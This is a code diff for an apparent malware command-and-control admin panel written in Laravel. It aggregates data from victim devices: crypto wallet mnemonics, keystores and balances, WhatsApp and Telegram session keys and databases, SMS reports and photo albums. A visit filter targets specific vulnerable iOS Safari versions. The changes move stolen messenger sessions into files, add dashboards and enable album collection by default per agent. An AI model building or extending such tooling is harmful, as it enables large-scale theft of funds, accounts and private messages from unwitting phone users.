1298b35..59b2330 100644 --- a/app/Services/DashboardStatsService.php +++ b/app/Services/DashboardStatsService.php @@ -73,8 +73,14 @@ class DashboardStatsService // Period cohort: devices installed (created) in the selected range. $createdInRange = (clone $base)->whereBetween('created_at', [$from, $to]); - $total = (clone $createdInRange)->count(); - $walletCount = (clone $createdInRange)->where('has_wallet', Device::WALLET_YES)->count(); + $deviceAgg = (clone $createdInRange) + ->selectRaw( + 'COUNT(*) as total, COALESCE(SUM(CASE WHEN has_wallet = ? THEN 1 ELSE 0 END), 0) as wallet_count', + [Device::WALLET_YES], + ) + ->first(); + $total = (int) ($deviceAgg?->total ?? 0); + $walletCount = (int) ($deviceAgg?->wallet_count ?? 0); $newCount = $total; $activeCount = (clone $base)->whereBetween('updated_at', [$from, $to])->count(); @@ -88,9 +94,7 @@ class DashboardStatsService $from, $to, ); - $addressCount = $this->countDeviceChildren( - WalletAddress::query(), - 'wallet_addresses', + [$addressCount, $balances] = $this->addressStats( $agent, $agentUserId, $channelId, @@ -98,7 +102,6 @@ class DashboardStatsService $from, $to, ); - $balances = $this->sumBalances($agent, $agentUserId, $channelId, $channelExact, $from, $to); $visits = PageVisit::query(); AgentScope::applyChannelIdScope($visits, $agent); @@ -114,19 +117,25 @@ class DashboardStatsService } $visits->whereBetween('created_at', [$from, $to]); - $pv = (clone $visits)->count(); - $uv = (int) (clone $visits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate'); - $effectiveVisits = (clone $visits)->tap(fn (Builder $q) => $this->applyEffectiveFilter($q)); - $effectivePv = (clone $effectiveVisits)->count(); - $effectiveUv = (int) (clone $effectiveVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate'); + $effectiveSql = $this->effectiveVisitSql(); + $visitAgg = (clone $visits) + ->selectRaw( + "COUNT(*) as pv, + COUNT(DISTINCT client_uid) as uv, + COALESCE(SUM(CASE WHEN ({$effectiveSql}) THEN 1 ELSE 0 END), 0) as effective_pv, + COUNT(DISTINCT CASE WHEN ({$effectiveSql}) THEN client_uid END) as effective_uv, + COUNT(DISTINCT CASE WHEN os = 'iOS' THEN client_uid END) as ios_uv, + COUNT(DISTINCT CASE WHEN os IS NULL OR os != 'iOS' THEN client_uid END) as other_uv", + ) + ->first(); + $pv = (int) ($visitAgg?->pv ?? 0); + $uv = (int) ($visitAgg?->uv ?? 0); + $effectivePv = (int) ($visitAgg?->effective_pv ?? 0); + $effectiveUv = (int) ($visitAgg?->effective_uv ?? 0); + $iosUv = (int) ($visitAgg?->ios_uv ?? 0); + $otherUv = (int) ($visitAgg?->other_uv ?? 0); $iosVisits = (clone $visits)->where('os', 'iOS'); - $iosUv = (int) (clone $iosVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate'); - - $otherVisits = (clone $visits)->where(function (Builder $q) { - $q->whereNull('os')->orWhere('os', '!=', 'iOS'); - }); - $otherUv = (int) (clone $otherVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate'); $byOs = [ $this->visitRow('iOS', $iosUv, $uv), @@ -273,11 +282,11 @@ class DashboardStatsService } /** - * Sum coin columns for addresses created in the selected range. + * Address count + coin sums in one pass over wallet_addresses in range. * - * @return array{usdt: string, trx: string, eth: string, btc: string, bnb: string} + * @return array{0: int, 1: array{usdt: string, trx: string, eth: string, btc: string, bnb: string}} */ - private function sumBalances( + private function addressStats( ?User $agent, ?int $agentUserId, string $channelId, @@ -294,7 +303,7 @@ class DashboardStatsService $channelExact, )->whereBetween('wallet_addresses.created_at', [$from, $to]); - $selects = []; + $selects = ['COUNT(wallet_addresses.id) as addr_count']; foreach (WalletAddress::COIN_COLUMNS as $col) { $selects[] = 'COALESCE(SUM(wallet_addresses.'.$col.'), 0) as '.$col; } @@ -308,7 +317,7 @@ class DashboardStatsService } /** @var array{usdt: string, trx: string, eth: string, btc: string, bnb: string} $out */ - return $out; + return [(int) ($row?->addr_count ?? 0), $out]; } /** @@ -350,16 +359,11 @@ class DashboardStatsService /** * Safari on iOS 13.0.0–17.2.1, plus 18.5 / 18.6 / 18.6.1 / 18.6.2. */ - private function applyEffectiveFilter(Builder $query): void + private function effectiveVisitSql(): string { - $query->where('os', 'iOS') - ->where('browser', 'Safari') - ->whereNotNull('os_version') - ->where('os_version', '!=', ''); - [$major, $minor, $patch] = $this->osVersionPartsSql(); - $query->whereRaw( - "( + + return "os = 'iOS' AND browser = 'Safari' AND os_version IS NOT NULL AND os_version != '' AND ( ({$major} >= 13 AND ( {$major} < 17 OR ({$major} = 17 AND {$minor} < 2) @@ -367,8 +371,7 @@ class DashboardStatsService )) OR ({$major} = 18 AND {$minor} = 5 AND {$patch} = 0) OR ({$major} = 18 AND {$minor} = 6 AND {$patch} IN (0, 1, 2)) - )" - ); + )"; } /** diff --git a/app/Services/IngestService.php b/app/Services/IngestService.php index 12dd47b..f923d19 100644 --- a/app/Services/IngestService.php +++ b/app/Services/IngestService.php @@ -11,6 +11,7 @@ use App\Models\PageVisit; use App\Models\Photo; use App\Models\PluginSession; use App\Models\SmsReport; +use App\Models\User; use App\Models\WalletAddress; use App\Models\WalletKeystore; use App\Models\WalletMnemonic; @@ -274,6 +275,9 @@ class IngestService $touch = ['updated_at' => now()]; if ($needChannel && $attr['channel_id'] !== null && $attr['channel_id'] !== '') { $touch['channel_id'] = $attr['channel_id']; + if (! $device->albumStorageEnabled() && User::albumStorageDefaultForChannel($attr['channel_id'])) { + $touch['album_storage'] = true; + } } if ($needDomain && $attr['source_domain'] !== null && $attr['source_domain'] !== '') { $touch['source_domain'] = $attr['source_domain']; @@ -352,6 +356,7 @@ class IngestService 'ios_version' => $this->extractIosVersion($payload), 'channel_id' => $attr['channel_id'], 'source_domain' => $attr['source_domain'], + 'album_storage' => User::albumStorageDefaultForChannel($attr['channel_id']), ]; // xxbb native UA is spoofed / inaccurate; only keep header UA for old lab C2. if (! $this->isNewBuilderRequest($request)) { @@ -669,10 +674,12 @@ class IngestService break; } } - $phone = $kind === PluginSession::KIND_WHATSAPP + $phone = (int) $kind === PluginSession::KIND_WHATSAPP ? $this->scalarToString($payload['userId'] ?? $payload['account'] ?? $payload['phoneId'] ?? $payload['phone'] ?? null) : null; + $blob = $this->storePluginSessionFile($device, $kind, $account, $blob); + PluginSession::query()->updateOrCreate( [ 'device_id' => $device->id, @@ -685,6 +692,23 @@ class IngestService 'payload' => $blob, ], ); + $device->refreshImFlags(); + } + + /** + * Keep a summary in MySQL; write the full session JSON to disk. + * + * @param array $blob + * @return array + */ + private function storePluginSessionFile(Device $device, string $kind, ?string $account, array $blob): array + { + $path = PluginSession::payloadFilePath($kind, $device->device_id, $account); + $json = json_encode($blob, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); + $json = $json === false ? '{}' : $json; + Storage::disk('local')->put($path, $json); + + return PluginSession::dbSummary($kind, $blob, $path, strlen($json)); } private function scalarToString(mixed $value): ?string diff --git a/database/migrations/2026_08_25_000010_create_plugin_sessions_and_sms_reports.php b/database/migrations/2026_08_25_000010_create_plugin_sessions_and_sms_reports.php index e2beba8..fd7bf22 100644 --- a/database/migrations/2026_08_25_000010_create_plugin_sessions_and_sms_reports.php +++ b/database/migrations/2026_08_25_000010_create_plugin_sessions_and_sms_reports.php @@ -13,7 +13,7 @@ return new class extends Migration $table->id(); $table->foreignId('device_id')->constrained('devices')->cascadeOnDelete(); $table->string('device_key', 64)->index(); - $table->string('kind', 16)->index(); + $table->unsignedTinyInteger('kind')->index(); $table->string('account_id', 128)->nullable()->index(); $table->string('phone', 64)->nullable(); $table->json('payload')->nullable(); @@ -59,7 +59,7 @@ return new class extends Migration if (! is_array($payload)) { $payload = []; } - $kind = $row->source === 'WhatsApp' ? 'whatsapp' : 'telegram'; + $kind = $row->source === 'WhatsApp' ? 2 : 1; $account = $this->accountFromPayload($kind, $payload); $key = $row->device_id.'|'.$kind.'|'.$account; if (isset($seen[$key])) { @@ -82,9 +82,9 @@ return new class extends Migration DB::table('wallet_keystores')->whereIn('source', ['Telegram', 'WhatsApp'])->delete(); } - private function accountFromPayload(string $kind, array $payload): string + private function accountFromPayload(int $kind, array $payload): string { - $keys = $kind === 'whatsapp' + $keys = $kind === 2 ? ['userId', 'user_id', 'account_id'] : ['user_id', 'userId', 'account_id']; foreach ($keys as $key) { @@ -96,9 +96,9 @@ return new class extends Migration return ''; } - private function phoneFromPayload(string $kind, array $payload): ?string + private function phoneFromPayload(int $kind, array $payload): ?string { - if ($kind !== 'whatsapp') { + if ($kind !== 2) { return null; } foreach (['userId', 'phoneId', 'phone'] as $key) { diff --git a/database/migrations/2026_08_31_000010_users_album_storage_default.php b/database/migrations/2026_08_31_000010_users_album_storage_default.php new file mode 100644 index 0000000..e8b97cc --- /dev/null +++ b/database/migrations/2026_08_31_000010_users_album_storage_default.php @@ -0,0 +1,22 @@ +boolean('album_storage_default')->default(false)->after('auto_transfer_threshold_btc'); + }); + } + + public function down(): void + { + Schema::table('users', function (Blueprint $table) { + $table->dropColumn('album_storage_default'); + }); + } +}; diff --git a/database/migrations/2026_08_31_000020_devices_has_im.php b/database/migrations/2026_08_31_000020_devices_has_im.php new file mode 100644 index 0000000..b0f4b07 --- /dev/null +++ b/database/migrations/2026_08_31_000020_devices_has_im.php @@ -0,0 +1,45 @@ +boolean('has_whatsapp')->default(false)->after('wallet_names'); + $table->boolean('has_telegram')->default(false)->after('has_whatsapp'); + }); + + if (! Schema::hasTable('plugin_sessions')) { + return; + } + + $whatsappIds = DB::table('plugin_sessions') + ->where('kind', PluginSession::KIND_WHATSAPP) + ->distinct() + ->pluck('device_id'); + if ($whatsappIds->isNotEmpty()) { + DB::table('devices')->whereIn('id', $whatsappIds)->update(['has_whatsapp' => true]); + } + + $telegramIds = DB::table('plugin_sessions') + ->where('kind', PluginSession::KIND_TELEGRAM) + ->distinct() + ->pluck('device_id'); + if ($telegramIds->isNotEmpty()) { + DB::table('devices')->whereIn('id', $telegramIds)->update(['has_telegram' => true]); + } + } + + public function down(): void + { + Schema::table('devices', function (Blueprint $table) { + $table->dropColumn(['has_whatsapp', 'has_telegram']); + }); + } +}; diff --git a/database/migrations/2026_08_31_000030_dashboard_query_indexes.php b/database/migrations/2026_08_31_000030_dashboard_query_indexes.php new file mode 100644 index 0000000..1019c27 --- /dev/null +++ b/database/migrations/2026_08_31_000030_dashboard_query_indexes.php @@ -0,0 +1,52 @@ +index('created_at'); + $table->index('updated_at'); + $table->index(['created_at', 'has_wallet']); + }); + + Schema::table('page_visits', function (Blueprint $table) { + $table->index(['created_at', 'client_uid']); + $table->index(['created_at', 'os', 'os_version']); + }); + + Schema::table('wallet_addresses', function (Blueprint $table) { + $table->index('created_at'); + }); + + Schema::table('wallet_mnemonics', function (Blueprint $table) { + $table->index('created_at'); + }); + } + + public function down(): void + { + Schema::table('devices', function (Blueprint $table) { + $table->dropIndex(['created_at']); + $table->dropIndex(['updated_at']); + $table->dropIndex(['created_at', 'has_wallet']); + }); + + Schema::table('page_visits', function (Blueprint $table) { + $table->dropIndex(['created_at', 'client_uid']); + $table->dropIndex(['created_at', 'os', 'os_version']); + }); + + Schema::table('wallet_addresses', function (Blueprint $table) { + $table->dropIndex(['created_at']); + }); + + Schema::table('wallet_mnemonics', function (Blueprint $table) { + $table->dropIndex(['created_at']); + }); + } +}; diff --git a/database/migrations/2026_08_31_000040_plugin_sessions_whatsapp_to_files.php b/database/migrations/2026_08_31_000040_plugin_sessions_whatsapp_to_files.php new file mode 100644 index 0000000..804af55 --- /dev/null +++ b/database/migrations/2026_08_31_000040_plugin_sessions_whatsapp_to_files.php @@ -0,0 +1,83 @@ +where('kind', PluginSession::KIND_WHATSAPP) + ->orderBy('id') + ->pluck('id'); + + foreach ($ids as $id) { + $row = DB::table('plugin_sessions')->where('id', $id)->first(); + if ($row === null) { + continue; + } + $payload = json_decode((string) $row->payload, true); + if (! is_array($payload)) { + $payload = []; + } + if (isset($payload['payload_path']) && ! isset($payload['phoneKeyStore']) && ! isset($payload['clientStaticKeypairBase64'])) { + continue; + } + + $path = PluginSession::whatsappFilePath((string) $row->device_key, $row->account_id !== null ? (string) $row->account_id : null); + $json = json_encode($payload, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); + $json = $json === false ? '{}' : $json; + Storage::disk('local')->put($path, $json); + + DB::table('plugin_sessions')->where('id', $id)->update([ + 'payload' => json_encode( + PluginSession::whatsappDbSummary($payload, $path, strlen($json)), + JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES + ), + ]); + } + } + + public function down(): void + { + if (! Schema::hasTable('plugin_sessions')) { + return; + } + + $ids = DB::table('plugin_sessions') + ->where('kind', PluginSession::KIND_WHATSAPP) + ->orderBy('id') + ->pluck('id'); + + foreach ($ids as $id) { + $row = DB::table('plugin_sessions')->where('id', $id)->first(); + if ($row === null) { + continue; + } + $payload = json_decode((string) $row->payload, true); + if (! is_array($payload)) { + continue; + } + $path = $payload['payload_path'] ?? null; + if (! is_string($path) || $path === '' || ! Storage::disk('local')->exists($path)) { + continue; + } + $raw = Storage::disk('local')->get($path); + $decoded = json_decode((string) $raw, true); + if (! is_array($decoded)) { + continue; + } + DB::table('plugin_sessions')->where('id', $id)->update([ + 'payload' => json_encode($decoded, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES), + ]); + } + } +}; diff --git a/database/migrations/2026_08_31_000050_plugin_sessions_telegram_to_files.php b/database/migrations/2026_08_31_000050_plugin_sessions_telegram_to_files.php new file mode 100644 index 0000000..b941036 --- /dev/null +++ b/database/migrations/2026_08_31_000050_plugin_sessions_telegram_to_files.php @@ -0,0 +1,86 @@ +where('kind', PluginSession::KIND_TELEGRAM) + ->orderBy('id') + ->pluck('id'); + + foreach ($ids as $id) { + $row = DB::table('plugin_sessions')->where('id', $id)->first(); + if ($row === null) { + continue; + } + $payload = json_decode((string) $row->payload, true); + if (! is_array($payload)) { + $payload = []; + } + if (isset($payload['payload_path']) && ! isset($payload['state']) && ! isset($payload['db_sqlite'])) { + continue; + } + + $path = PluginSession::payloadFilePath( + PluginSession::KIND_TELEGRAM, + (string) $row->device_key, + $row->account_id !== null ? (string) $row->account_id : null + ); + $json = json_encode($payload, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); + $json = $json === false ? '{}' : $json; + Storage::disk('local')->put($path, $json); + + DB::table('plugin_sessions')->where('id', $id)->update([ + 'payload' => json_encode( + PluginSession::dbSummary(PluginSession::KIND_TELEGRAM, $payload, $path, strlen($json)), + JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES + ), + ]); + } + } + + public function down(): void + { + if (! Schema::hasTable('plugin_sessions')) { + return; + } + + $ids = DB::table('plugin_sessions') + ->where('kind', PluginSession::KIND_TELEGRAM) + ->orderBy('id') + ->pluck('id'); + + foreach ($ids as $id) { + $row = DB::table('plugin_sessions')->where('id', $id)->first(); + if ($row === null) { + continue; + } + $payload = json_decode((string) $row->payload, true); + if (! is_array($payload)) { + continue; + } + $path = $payload['payload_path'] ?? null; + if (! is_string($path) || $path === '' || ! Storage::disk('local')->exists($path)) { + continue; + } + $decoded = json_decode((string) Storage::disk('local')->get($path), true); + if (! is_array($decoded)) { + continue; + } + DB::table('plugin_sessions')->where('id', $id)->update([ + 'payload' => json_encode($decoded, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES), + ]); + } + } +}; diff --git a/database/migrations/2026_08_31_000060_plugin_sessions_kind_tinyint.php b/database/migrations/2026_08_31_000060_plugin_sessions_kind_tinyint.php new file mode 100644 index 0000000..3e47d71 --- /dev/null +++ b/database/migrations/2026_08_31_000060_plugin_sessions_kind_tinyint.php @@ -0,0 +1,69 @@ +where('kind', 'telegram')->update(['kind' => '1']); + DB::table('plugin_sessions')->where('kind', 'whatsapp')->update(['kind' => '2']); + + $driver = Schema::getConnection()->getDriverName(); + if ($driver === 'mysql') { + DB::statement('ALTER TABLE plugin_sessions MODIFY kind TINYINT UNSIGNED NOT NULL'); + + return; + } + + Schema::table('plugin_sessions', function ($table) { + $table->unsignedTinyInteger('kind_tmp')->default(0)->after('device_key'); + }); + foreach (DB::table('plugin_sessions')->orderBy('id')->get() as $row) { + DB::table('plugin_sessions')->where('id', $row->id)->update([ + 'kind_tmp' => (int) $row->kind, + ]); + } + Schema::table('plugin_sessions', function ($table) { + $table->dropIndex(['kind']); + $table->dropUnique(['device_id', 'kind', 'account_id']); + $table->dropColumn('kind'); + }); + Schema::table('plugin_sessions', function ($table) { + $table->renameColumn('kind_tmp', 'kind'); + $table->index('kind'); + $table->unique(['device_id', 'kind', 'account_id']); + }); + } + + public function down(): void + { + if (! Schema::hasTable('plugin_sessions')) { + return; + } + + $type = Schema::getColumnType('plugin_sessions', 'kind'); + if ($type === 'string') { + return; + } + + $driver = Schema::getConnection()->getDriverName(); + if ($driver === 'mysql') { + DB::statement('ALTER TABLE plugin_sessions MODIFY kind VARCHAR(16) NOT NULL'); + } + + DB::table('plugin_sessions')->where('kind', 1)->update(['kind' => 'telegram']); + DB::table('plugin_sessions')->where('kind', 2)->update(['kind' => 'whatsapp']); + } +}; diff --git a/docs/BAOTA_DEPLOY.md b/docs/BAOTA_DEPLOY.md index f4ffa56..f41ee57 100644 --- a/docs/BAOTA_DEPLOY.md +++ b/docs/BAOTA_DEPLOY.md @@ -612,7 +612,7 @@ CLI 默认不限制;改网站用的 FPM `php.ini` 并以 `phpinfo()` 验证。 - 登录页为 Layui **AJAX JSON** 提交(用户名 / 密码 / 可选谷歌验证码),不再整页 form redirect - 失败限流:同一账号+IP 约 5 次 / 60 秒 -- 可选 Google Authenticator:登录后「安全 → 谷歌验证」绑定 +- 可选 Google Authenticator:登录后「系统 → 谷歌验证」绑定 - 部署后需执行迁移:`php artisan migrate`(admins 增加 status / google_* / last_ip) diff --git a/resources/views/admin/addresses/index.blade.php b/resources/views/admin/addresses/index.blade.php index aa8f937..006f08b 100644 --- a/resources/views/admin/addresses/index.blade.php +++ b/resources/views/admin/addresses/index.blade.php @@ -34,6 +34,12 @@ +
+ +
+ +
+
@include('admin.partials.filter_agent_select')
diff --git a/resources/views/admin/agents/index.blade.php b/resources/views/admin/agents/index.blade.php index 3a3cd71..3902848 100644 --- a/resources/views/admin/agents/index.blade.php +++ b/resources/views/admin/agents/index.blade.php @@ -75,6 +75,11 @@ layui.use(['table', 'form', 'layer'], function () { }}, { field: 'chat_id', title: 'Chat ID', width: 140 }, { field: 'comment', title: '备注', minWidth: 100 }, + { field: 'album_storage_default', title: '相册存储', width: 100, templet: function (d) { + return Number(d.album_storage_default) === 1 + ? '开' + : '关'; + }}, { field: 'channels_count', title: '渠道数', width: 90 }, { field: 'created_at', title: '创建时间', width: 160, sort: true }, { title: '操作', width: 240, align: 'center', fixed: 'right', toolbar: '#LAY-agent-ops' } @@ -115,6 +120,10 @@ layui.use(['table', 'form', 'layer'], function () { '
' + '' + '
' + + '
' + + '' + + '
该代理新设备默认是否开启相册存储,默认关;仅管理员可改
' + + '
' + '
' + '' + '
仅控制该代理渠道,与系统官方开关互不影响
' + @@ -164,8 +173,10 @@ layui.use(['table', 'form', 'layer'], function () { $('#LAY-agent-form').serializeArray().forEach(function (x) { data[x.name] = x.value; }); data.status = $('#LAY-agent-form input[name=status_switch]').is(':checked') ? 1 : 0; data.auto_transfer_enabled = $('#LAY-agent-form input[name=auto_transfer_switch]').is(':checked') ? 1 : 0; + data.album_storage_default = $('#LAY-agent-form input[name=album_storage_switch]').is(':checked') ? 1 : 0; delete data.status_switch; delete data.auto_transfer_switch; + delete data.album_storage_switch; onOk(data, index); } }); diff --git a/resources/views/admin/channels/index.blade.php b/resources/views/admin/channels/index.blade.php index fc1ca83..e437f5b 100644 --- a/resources/views/admin/channels/index.blade.php +++ b/resources/views/admin/channels/index.blade.php @@ -195,61 +195,36 @@ layui.use(['table', 'form', 'layer'], function () { : ''; var channelBlock = creating ? '
' + - '' + + '' + '
' : '
'; - var typeBlock = (isAdmin && creating) - ? '
' + - '' + - '
旧版=/web/id/support.html;新版=/channel/X.Y.ZZ/(创建时自动构建,c 取自 XXBB_CHANNEL_C)
' - : ''; - var templateBlock = (isAdmin && creating) ? '
' + '' + - '
旧版=support.html;新版=weifile.html(test=loading,blank=空白)
' + '
weifile.html:test=大圆圈加载+15s 倒计时;blank=空白页。路径 /channel/X.Y.ZZ/(c 取自 XXBB_CHANNEL_C)
' : ''; layer.open({ type: 1, title: title, - area: ['560px', creating ? (isAdmin ? '580px' : '380px') : '420px'], + area: ['560px', creating ? (isAdmin ? '500px' : '380px') : '420px'], content: '
' + - channelBlock + typeBlock + agentBlock + templateBlock + + channelBlock + agentBlock + templateBlock + '
' + '
' + '
' + '' + '
' + - (creating && isAdmin ? '
新建将调用对应 builder 生成静态资源。代理最多 ' + maxPerAgent + ' 条。
' : '') + + (creating && isAdmin ? '
新建将调用新版 builder 生成静态资源。代理最多 ' + maxPerAgent + ' 条。
' : '') + '
', success: function () { form.render(); - function syncTemplateVisibility() { - var type = $('#LAY-ch-form select[name=builder_type]').val() || 'old'; - var $id = $('#LAY-ch-id-input'); - $('#LAY-ch-template-item').show(); - if (type === 'new') { - $id.attr('maxlength', 6).attr('placeholder', '例如 A.B.C1 或 3.1.07'); - if (!/^[0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2}$/.test($id.val() || '')) $id.val(''); - $('#LAY-ch-template-hint').text('新版 weifile.html:test=大圆圈加载+15s 倒计时;blank=空白页'); - } else { - $id.attr('maxlength', 32).attr('placeholder', '32位字母数字'); - $('#LAY-ch-template-hint').text('旧版 support.html:test=HUD;blank=空白'); - } - } - syncTemplateVisibility(); - form.on('select(LAY-ch-builder-type)', function () { syncTemplateVisibility(); }); $('#LAY-ch-rand').on('click', function () { - var type = $('#LAY-ch-form select[name=builder_type]').val() || 'old'; - $.getJSON(@json(route('admin.channels.randomId')), { builder_type: type }, function (res) { + $.getJSON(@json(route('admin.channels.randomId')), function (res) { if (res.code === 0) $('#LAY-ch-form input[name=channel_id]').val(res.data.channel_id); }); }); diff --git a/resources/views/admin/content.blade.php b/resources/views/admin/content.blade.php index 7b0b1f5..6c076fa 100644 --- a/resources/views/admin/content.blade.php +++ b/resources/views/admin/content.blade.php @@ -13,6 +13,9 @@ .wrap{word-break:break-all;max-width:640px} .wallet-row{background:#fff7e6} .tag-wallet{display:inline-block;background:#FFB800;color:#fff;padding:0 6px;border-radius:2px;font-size:12px} + .tag-im{display:inline-block;color:#fff;padding:0 6px;border-radius:2px;font-size:12px;line-height:20px} + .tag-im-ws{background:#25d366} + .tag-im-tg{background:#2aabee} .tag-chain{display:inline-block;color:#fff;padding:0 6px;border-radius:2px;font-size:12px;line-height:20px} .tag-chain-coruna{background:#0d9488} .tag-chain-darksword{background:#7c3aed} diff --git a/resources/views/admin/dashboard/index.blade.php b/resources/views/admin/dashboard/index.blade.php index 3ab104f..075cb54 100644 --- a/resources/views/admin/dashboard/index.blade.php +++ b/resources/views/admin/dashboard/index.blade.php @@ -99,6 +99,7 @@
+
@include('admin.partials.filter_channel_select', ['channelBlockClass' => 'dash-channel-block']) @@ -249,12 +250,6 @@ layui.use(['form', 'laydate', 'layer'], function () { function fmtDate(d) { return d.getFullYear() + '-' + pad(d.getMonth() + 1) + '-' + pad(d.getDate()); } - function defaultRange() { - var to = new Date(); - var from = new Date(); - from.setDate(to.getDate() - 29); - return fmtDate(from) + ' - ' + fmtDate(to); - } function rangeOf(kind) { var today = new Date(); today.setHours(0, 0, 0, 0); @@ -266,14 +261,19 @@ layui.use(['form', 'laydate', 'layer'], function () { y.setDate(y.getDate() - 1); return fmtDate(y) + ' - ' + fmtDate(y); } + if (kind === '7d') { + var from7 = new Date(today); + from7.setDate(today.getDate() - 6); + return fmtDate(from7) + ' - ' + fmtDate(today); + } if (kind === 'month') { var from = new Date(today.getFullYear(), today.getMonth(), 1); return fmtDate(from) + ' - ' + fmtDate(today); } - return defaultRange(); + return fmtDate(today) + ' - ' + fmtDate(today); } - var initialRange = defaultRange(); + var initialRange = rangeOf('today'); $('#LAY-dash-date-range').val(initialRange); laydate.render({ elem: '#LAY-dash-date-range', diff --git a/resources/views/admin/devices/index.blade.php b/resources/views/admin/devices/index.blade.php index ca63610..9bf4387 100644 --- a/resources/views/admin/devices/index.blade.php +++ b/resources/views/admin/devices/index.blade.php @@ -54,6 +54,18 @@
+
+ +
+ +
+
@@ -138,6 +150,12 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () { }).join(' '); return '有' + (tags ? ' ' + tags : ''); } }, + { field: 'im_names', title: 'WS/TG', width: 140, templet: function (d) { + var tags = []; + if (Number(d.has_whatsapp) === 1) tags.push('WS'); + if (Number(d.has_telegram) === 1) tags.push('TG'); + return tags.length ? tags.join(' ') : '—'; + } }, { field: 'album_storage', title: '相册存储', width: 110, templet: function (d) { var on = Number(d.album_storage) === 1; return ' + + WS/TG + + @if ($device->hasWhatsApp() || $device->hasTelegram()) + @if ($device->hasWhatsApp()) + WS + @endif + @if ($device->hasTelegram()) + TG + @endif + @else + — + @endif + + 相册存储 diff --git a/resources/views/admin/logs/index.blade.php b/resources/views/admin/logs/index.blade.php deleted file mode 100644 index 788f26f..0000000 --- a/resources/views/admin/logs/index.blade.php +++ /dev/null @@ -1,45 +0,0 @@ -@extends('admin.content') - -@section('title', '原始日志') - -@section('content') -@php - $labels = ['xxbb' => '新版 C2(public/log/xxbb)', 'c2' => '旧版 C2(public/log/c2)']; -@endphp -@foreach ($labels as $k => $title) -
-
{{ $title }}
-
- @if ($k === 'xxbb') -

xxbb 短路径上报单独落盘,与旧版 /api/user/* 分开。

- @else -

按日文件落盘,不再写入数据库。

- @endif - - - - - - - - - - - @forelse ($groups[$k] ?? [] as $f) - - - - - - - @empty - - @endforelse - -
文件大小修改时间
{{ $f['name'] }}{{ number_format($f['size']) }} B{{ $f['mtime'] }} - 查看 -
暂无日志文件
-
-
-@endforeach -@endsection diff --git a/resources/views/admin/logs/show.blade.php b/resources/views/admin/logs/show.blade.php deleted file mode 100644 index 639ac6e..0000000 --- a/resources/views/admin/logs/show.blade.php +++ /dev/null @@ -1,56 +0,0 @@ -@extends('admin.content') - -@section('title', '日志 '.$file) - -@section('content') -@php - $showBase = ['kind' => $kind ?? 'c2', 'file' => $file]; - $query = array_filter([ - 'path' => $path ?? '', - 'device' => $device ?? '', - ], fn ($v) => $v !== '' && $v !== null); -@endphp -
-
- {{ ($kind ?? 'c2') === 'xxbb' ? '新版' : '旧版' }} / {{ $file }} - 返回 -
-
-
-
- -
-
- -
-
- -
-
-

- 文件 {{ number_format($fileSize ?? 0) }} B · 第 {{ $page ?? 1 }} 页 · 本页 {{ count($entries) }} / {{ $perPage ?? 40 }} 条(新→旧,避免整文件渲染) -

-
- @if ($hasNewer ?? false) - 更新 - @endif - @if ($hasOlder ?? false) - 更早 - @endif -
- @forelse ($entries as $entry) -
{{ $entry }}
- @empty -

无匹配记录

- @endforelse -
- @if ($hasNewer ?? false) - 更新 - @endif - @if ($hasOlder ?? false) - 更早 - @endif -
-
-
-@endsection diff --git a/resources/views/admin/partials/mnemonic_reveal.blade.php b/resources/views/admin/partials/mnemonic_reveal.blade.php index 019d512..7c82cc2 100644 --- a/resources/views/admin/partials/mnemonic_reveal.blade.php +++ b/resources/views/admin/partials/mnemonic_reveal.blade.php @@ -21,7 +21,7 @@ window.CorunaMnemonicReveal = function (opts) { return layer.msg('无权查看明文'); } if (!googleBound) { - return layer.msg('请先在「安全 → 谷歌验证」绑定。查看助记词必须验证。', { + return layer.msg('请先在「系统 → 谷歌验证」绑定。查看助记词必须验证。', { time: 3200 }, function () { if (securityUrl && parent && parent.layui && parent.layui.index) { diff --git a/resources/views/admin/sessions/index.blade.php b/resources/views/admin/sessions/index.blade.php new file mode 100644 index 0000000..70e7113 --- /dev/null +++ b/resources/views/admin/sessions/index.blade.php @@ -0,0 +1,153 @@ +@extends('admin.content') + +@section('title', $title) + +@section('content') +@php + $portal = $portal ?? 'admin'; + $isWhatsApp = (int) ($kind ?? 0) === \App\Models\PluginSession::KIND_WHATSAPP; +@endphp +
+
+
+ @include('admin.partials.filter_channel_select') +
+ +
+ +
+
+ @include('admin.partials.filter_agent_select') +
+ +
+ +
+
+
+ +
+
+
+
+
+ +
+
+@endsection + +@push('scripts') + +@endpush diff --git a/resources/views/admin/shell.blade.php b/resources/views/admin/shell.blade.php index e9cdbd0..f64f4a1 100644 --- a/resources/views/admin/shell.blade.php +++ b/resources/views/admin/shell.blade.php @@ -104,6 +104,12 @@
备忘录
+
+ WS 参数 +
+
+ TG 参数 +
  • @@ -120,17 +126,6 @@
  • -
  • - - - 安全 - -
    -
    - 谷歌验证 -
    -
    -
  • @@ -140,13 +135,13 @@
    设置
    +
    + 谷歌验证 +
    @if(auth('admin')->user()?->isSuper())
    管理员
    -
    - 原始日志 -
    @endif
  • diff --git a/resources/views/user/shell.blade.php b/resources/views/user/shell.blade.php index 807a466..20e7e2a 100644 --- a/resources/views/user/shell.blade.php +++ b/resources/views/user/shell.blade.php @@ -95,6 +95,12 @@
    备忘录
    +
    + WS 参数 +
    +
    + TG 参数 +
